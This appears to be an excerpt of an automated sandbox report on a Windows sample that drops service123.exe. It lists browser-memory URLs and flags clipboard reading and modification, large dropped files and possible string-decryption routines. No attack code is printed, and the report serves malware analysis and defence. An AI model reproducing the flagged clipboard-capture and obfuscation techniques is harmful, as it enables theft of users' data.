Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000003.00000003.2444908145.00006B2400DC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000003.00000002.2473878775.00006B2400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473908134.00006B2400768000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2472532868.00006B24004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000003.00000002.2473878775.00006B2400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473908134.00006B2400768000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2472532868.00006B24004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000003.00000002.2469662778.000043A800904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000003.00000002.2468221567.000043A800238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473908134.00006B2400768000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2469662778.000043A800904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000003.00000002.2469822999.000043A800974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2432375416.000043A80071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2433242825.000043A800728000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000003.00000002.2468221567.000043A800238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2469662778.000043A800904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardC
Source: chrome.exe, 00000003.00000002.2469822999.000043A800974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2432375416.000043A80071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2433242825.000043A800728000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000003.00000002.2469662778.000043A800904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000002.2469662778.000043A800904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000003.00000002.2478649155.00006B240120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2478505099.00006B2401168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2472381781.00006B240044C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2451332573.00006B2400480000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000002.2478649155.00006B240120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2478505099.00006B2401168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2472381781.00006B240044C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2451332573.00006B2400480000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000002.2469822999.000043A800974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2432375416.000043A80071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2433242825.000043A800728000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000003.00000003.2436116385.000043A80087C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.2433242825.000043A800728000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000002.2469708101.000043A800920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000003.00000002.2469708101.000043A800920000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=
Source: chrome.exe, 00000003.00000002.2469638091.000043A8008D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000003.00000002.2471641183.00006B240020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000003.00000002.2476564991.00006B2400D44000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000003.00000002.2473300484.00006B240063D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000003.00000002.2476063765.00006B2400C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475466229.00006B2400A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473300484.00006B240063D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2475466229.00006B2400A30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp$k
Source: chrome.exe, 00000003.00000002.2473300484.00006B240063D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000003.00000002.2476063765.00006B2400C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473300484.00006B240063D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2472737177.00006B2400518000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473949175.00006B2400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2477933835.00006B24010C8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000003.00000002.2472477160.00006B240047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2474282335.00006B2400834000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2477460209.00006B2400F6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000003.00000002.2477460209.00006B2400F6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyk
Source: chrome.exe, 00000003.00000002.2473590441.00006B24006EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2472477160.00006B240047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2474282335.00006B2400834000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000003.00000002.2473590441.00006B24006EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneaf
Source: chrome.exe, 00000003.00000002.2477460209.00006B2400F6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000003.00000003.2448419759.00006B2401044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475171290.00006B24009B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475060303.00006B2400973000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000003.00000002.2471584916.00006B24001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000003.00000002.2471641183.00006B240020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000003.00000002.2478279824.00006B2401114000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000002.2476665982.00006B2400D94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475639874.00006B2400AB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2444813153.00006B240064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476644389.00006B2400D89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000002.2476665982.00006B2400D94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2444813153.00006B240064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476644389.00006B2400D89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.2476665982.00006B2400D94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476688573.00006B2400DA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2444813153.00006B240064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476644389.00006B2400D89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000003.00000002.2476665982.00006B2400D94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476644389.00006B2400D89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000002.2476665982.00006B2400D94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2444813153.00006B240064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476644389.00006B2400D89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000002.2476665982.00006B2400D94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2471866723.00006B24002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2444813153.00006B240064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476644389.00006B2400D89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000002.2476665982.00006B2400D94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475639874.00006B2400AB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2444813153.00006B240064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476644389.00006B2400D89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000002.2476688573.00006B2400DA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2444813153.00006B240064C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476644389.00006B2400D89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000003.00000002.2472532868.00006B24004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000003.00000003.2448419759.00006B2401044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475171290.00006B24009B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475060303.00006B2400973000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.2478649155.00006B240120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2478505099.00006B2401168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2451332573.00006B2400480000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.2475171290.00006B24009B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475060303.00006B2400973000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000002.2471011088.00006B2400078000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000003.00000002.2471138544.00006B24000B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.2471584916.00006B24001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000002.2473878775.00006B2400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475955875.00006B2400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473908134.00006B2400768000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2472532868.00006B24004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2473878775.00006B2400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473908134.00006B2400768000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2472532868.00006B24004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000003.00000002.2475955875.00006B2400BD4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactionsk$
Source: chrome.exe, 00000003.00000002.2475217957.00006B24009D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.2471584916.00006B24001C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000003.00000002.2475921585.00006B2400BB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.2475955875.00006B2400BD4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.2475955875.00006B2400BD4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000002.2475955875.00006B2400BD4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000002.2475955875.00006B2400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476092972.00006B2400C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.2443521871.00006B2400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475466229.00006B2400A30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.2476092972.00006B2400C28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Chark$
Source: chrome.exe, 00000003.00000002.2473949175.00006B2400790000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Chary
Source: chrome.exe, 00000003.00000002.2477677006.00006B240100C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000003.00000002.2477677006.00006B240100C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2k$
Source: chrome.exe, 00000003.00000002.2477308937.00006B2400F00000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2478279824.00006B2401114000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000003.00000002.2471584916.00006B24001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475955875.00006B2400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2474247055.00006B240080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475060303.00006B2400954000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.2471584916.00006B24001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475955875.00006B2400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2474247055.00006B240080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475060303.00006B2400954000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.2475060303.00006B2400954000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000003.00000002.2472737177.00006B2400518000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473949175.00006B2400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475796034.00006B2400B58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473082585.00006B24005DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.2451332573.00006B2400480000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000002.2472532868.00006B24004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.2475466229.00006B2400A30000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000002.2470905541.00006B240001C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000002.2471641183.00006B240020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.2471641183.00006B240020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.2471641183.00006B240020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473082585.00006B24005DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.2476815247.00006B2400E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2471641183.00006B240020C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.2472532868.00006B24004DC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000003.00000002.2471444691.00006B2400174000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.coP
Source: chrome.exe, 00000003.00000002.2473438748.00006B2400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475921585.00006B2400BB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000003.00000002.2473300484.00006B240063D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.2473438748.00006B2400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2475921585.00006B2400BB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473300484.00006B240063D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.2473300484.00006B240063D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.2475921585.00006B2400BB0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/Q
Source: chrome.exe, 00000003.00000002.2473475697.00006B24006A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2476378919.00006B2400CC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2473300484.00006B240063D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49704
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C159D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 7_2_6C159D11
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C159D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 7_2_6C159D11
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C159E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 7_2_6C159E27

System Summary
barindex
Drops large PE files
Source: C:\Users\user\Desktop\file.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
PE file contains section with special chars
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\file.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_002151B0 7_2_002151B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_00213E20 7_2_00213E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C182CCE 7_2_6C182CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C14CD00 7_2_6C14CD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C14EE50 7_2_6C14EE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C150FC0 7_2_6C150FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C190AC0 7_2_6C190AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1544F0 7_2_6C1544F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1846E0 7_2_6C1846E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1807D0 7_2_6C1807D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1787C0 7_2_6C1787C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C190060 7_2_6C190060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C182090 7_2_6C182090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C162210 7_2_6C162210
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C172360 7_2_6C172360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C19DC70 7_2_6C19DC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C213D00 7_2_6C213D00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C155880 7_2_6C155880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1798F0 7_2_6C1798F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C187A20 7_2_6C187A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C18DBEE 7_2_6C18DBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C18140E 7_2_6C18140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C191510 7_2_6C191510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C20D570 7_2_6C20D570
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C18F610 7_2_6C18F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C16F760 7_2_6C16F760
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C143000 7_2_6C143000
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C1570C0 7_2_6C1570C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 7_2_6C205180 7_2_6C205180
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C20ADB0 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C2136E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C213B20 appears 38 times
